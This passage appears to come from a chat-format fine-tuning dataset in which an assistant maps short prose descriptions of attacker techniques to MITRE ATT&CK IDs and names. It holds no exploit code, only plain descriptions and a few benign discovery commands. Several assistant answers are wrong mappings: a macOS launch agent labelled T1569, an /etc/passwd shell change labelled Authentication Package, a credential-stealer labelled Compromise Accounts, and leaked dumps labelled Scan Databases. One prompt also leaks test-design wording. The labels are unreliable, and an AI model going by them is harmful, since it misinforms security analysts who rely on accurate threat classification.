                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary configures Emond to monitor the Security log for failed login attempts and runs a reverse shell when a threshold is reached."
            },
            {
                "role": "assistant",
                "content": "T1546.014 - Event Triggered Execution: Emond"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is concealed within the pixel data of PNG images uploaded to a web server, later downloaded and run by compromised users."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group copies a malicious PowerShell module to multiple endpoints through a network share to facilitate lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using PowerShell, the adversary ran Get-SmbShare to retrieve a list of shared resources on the compromised server."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary crafts a Bash command string with escaped characters and concatenates fragments at runtime."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining root, the intruder writes a systemd service definition to /etc/systemd/system/ and starts it to maintain access."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insecurely exposed container runtime API permits enumeration of running containers and downloading of their configuration files, which contain hard‑coded database credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the access control list (ACL) of the \\Program Files\\App folder to grant the SYSTEM account read/write access, enabling persistence."
            },
            {
                "role": "assistant",
                "content": "T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion adds a new launch agent on macOS that loads a malicious plist file to execute code on user login."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker updates the com.apple.security.plist to disable Gatekeeper, enabling unsigned binaries to run on the compromised Mac."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker monitors a private threat intel mailing list for insider information about target defenses."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor distributes a poisoned Excel spreadsheet attachment to victims via spearphishing emails."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary took advantage of an overly permissive GCP IAM policy to enumerate and copy objects from a storage bucket."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors employed FTP over a non‑standard port to transfer encrypted archives of sensitive data out of the network."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker places a malicious script in the “All Users” Startup folder to ensure execution for all users."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages an XSL transformation engine to process a malicious stylesheet, achieving code execution on the compromised system."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware accesses the macOS Unified Logging system to extract timestamps of system launches."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script executes 'ifconfig -a' on a compromised Linux host to gather interface IP addresses and netmask information."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware attempts to gather software inventory but mistakenly includes unrelated network connection logs, testing the model's ability to focus on software enumeration."
            },
            {
                "role": "assistant",
                "content": "T1592.002 - Gather Victim Host Information: Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages cloud API credentials to revert a compromised compute instance, erasing changes made during the breach."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script purges network connection logs and resets firewall rule history to erase evidence of its C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor utilizes the IUnknown interface to attach to a high‑privilege process, using COM to relay instructions between their payloads."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor triggers a firmware update that flashes corrupted firmware, wiping the flash storage of IoT devices."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script was used to overwrite the default “404 Not Found” page with a defacement that includes a link to the attacker’s donation page."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a stolen Google Cloud OAuth token to list storage buckets and exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes creating a VM Guest that runs the payload, masking its execution from host-based monitoring."
            },
            {
                "role": "assistant",
                "content": "T1564.006 - Hide Artifacts: Run Virtual Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor updates the boot image of a cloud VM image to include a stealthy persistence module."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder installs a stealthy kernel module that intercepts system calls to conceal files and network connections from administrators."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware is staged in a rarely used AWS Availability Zone, exploiting the fact that security teams rarely inspect that region."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro embedded in a PDF file is delivered via spearphishing attachment, executing PowerShell upon opening."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email contains a link to a cloned internal HR portal where users are prompted to enter their single sign‑on credentials."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious tool connects to the target’s Exchange server via MAPI over HTTP to retrieve mailbox items for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor altered the firewall configuration through a malicious script, opening all ports."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries locate and steal RSA private keys stored in plaintext on compromised servers."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages an unused Oracle Cloud region to establish a command‑and‑control channel, bypassing regional firewalls."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a vulnerable web application to retrieve database credentials from configuration files."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary configured a compromised web server to act as an external proxy, routing all C2 traffic through it to hide the origin of the communications."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor leveraged CVE‑2023‑XXXX in a remote Oracle database service to run malicious code."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers investigate the victim's corporate hierarchy and external affiliations, such as joint ventures and strategic partnerships, to map out influential connections."
            },
            {
                "role": "assistant",
                "content": "T1591.002 - Gather Victim Org Information: Business Relationships"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors query security forums and paste sites for leaked database dumps that may contain credential information."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leverage ICMP echo reply messages to hide data exfiltration within ping traffic to a controlled server."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a Windows Scheduled Task that runs a malicious PowerShell script at system startup."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker establishes an encrypted HTTPS tunnel to exfiltrate data from the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The hacker uses stolen SSH credentials to modify the web root directory, swapping the original homepage with a defaced version containing graffiti."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker alters the default shell in /etc/passwd to a malicious script, ensuring execution on user login."
            },
            {
                "role": "assistant",
                "content": "T1547.002 - Boot or Logon Autostart Execution: Authentication Package"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers replace a legitimate .so file with a malicious version to execute arbitrary commands."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware logs all keystrokes typed by the user and stores the data in an encrypted file."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware used a custom backdoor that connects to a malicious web service endpoint to retrieve encrypted payloads."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email delivers a payload that calls the Chrome API to list all installed plug‑ins and their versions."
            },
            {
                "role": "assistant",
                "content": "T1217 - Browser Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses dsacls to change the default domain policy permissions, granting themselves full control."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing page mimics a legitimate login portal and uses JavaScript to capture the session cookie after the user authenticates."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors employed a signed Python package to install a remote access trojan on target systems."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary reads the victim's .bash_history file to discover previously executed commands and extract credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exfiltrate large data sets by encrypting them with a symmetric key and transmitting them through an SMB file share to an attacker‑controlled host."
            },
            {
                "role": "assistant",
                "content": "T1048.001 - Exfiltration Over Alternative Protocol: Exfiltration Over Symmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious scripts download a payload that enrolls the host into a peer-to-peer botnet for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers ran \"ss -tuln\" on a Linux host to identify listening ports and established connections."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in a Word document executed PowerShell to download a credential‑stealing tool that targeted stored email passwords in the registry."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intruder uses a symmetric key derived from a password to encrypt exfiltrated data before sending it over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries logged into the victim's Confluence server using stolen credentials and exported corporate documentation pages to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries locate and steal developers' GPG private keys from local keyrings to sign malicious code updates."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performs a GET request to the Kubernetes metrics server to enumerate resource usage per pod."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker performs Kerberoasting by extracting Kerberos tickets for high‑privilege accounts and cracking the ticket's encrypted portion to reveal the service account's password."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors used a malicious JavaScript injection to hijack a company's web application, allowing them to exfiltrate data and execute arbitrary commands on the host."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromised a web server and replaced the corporate homepage with a political propaganda banner visible to internal users."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages the NtAllocateVirtualMemory native API to allocate executable memory in the target process."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool is used to request Kerberos tickets for accounts with SPNs, exporting the tickets for offline cracking to retrieve service account passwords."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware invoked the Windows utility mshta.exe with a URL pointing to an obfuscated JScript script, achieving code execution."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email includes a link that opens a UAC prompt, and after the user clicks 'Allow', it installs a keylogger with elevated rights."
            },
            {
                "role": "assistant",
                "content": "T1548.004 - Abuse Elevation Control Mechanism: Elevated Execution with Prompt"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actors design and test a buffer overflow exploit against a specific version of a web server."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the infection chain, the implant uses a custom packer that pads the executable with dummy instructions, making static analysis more difficult."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan is distributed as a packed PE file that unpacks itself in memory at execution time."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware campaign rewrites the BIOS firmware image to lock users out of their machines."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers tamper with the authentication module to encrypt session keys using a reversible scheme, enabling decryption of future sessions."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware employs ListPlanting to tamper with the LDR data structures of a high-privilege process, inserting a payload DLL that runs with the process's rights."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exfiltrates harvested documents by syncing them to a personal Google Drive account using the victim's credentials."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑criminal compromised a software supply chain by hijacking a build server, injecting a credential‑stealing module into the final product released to customers."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
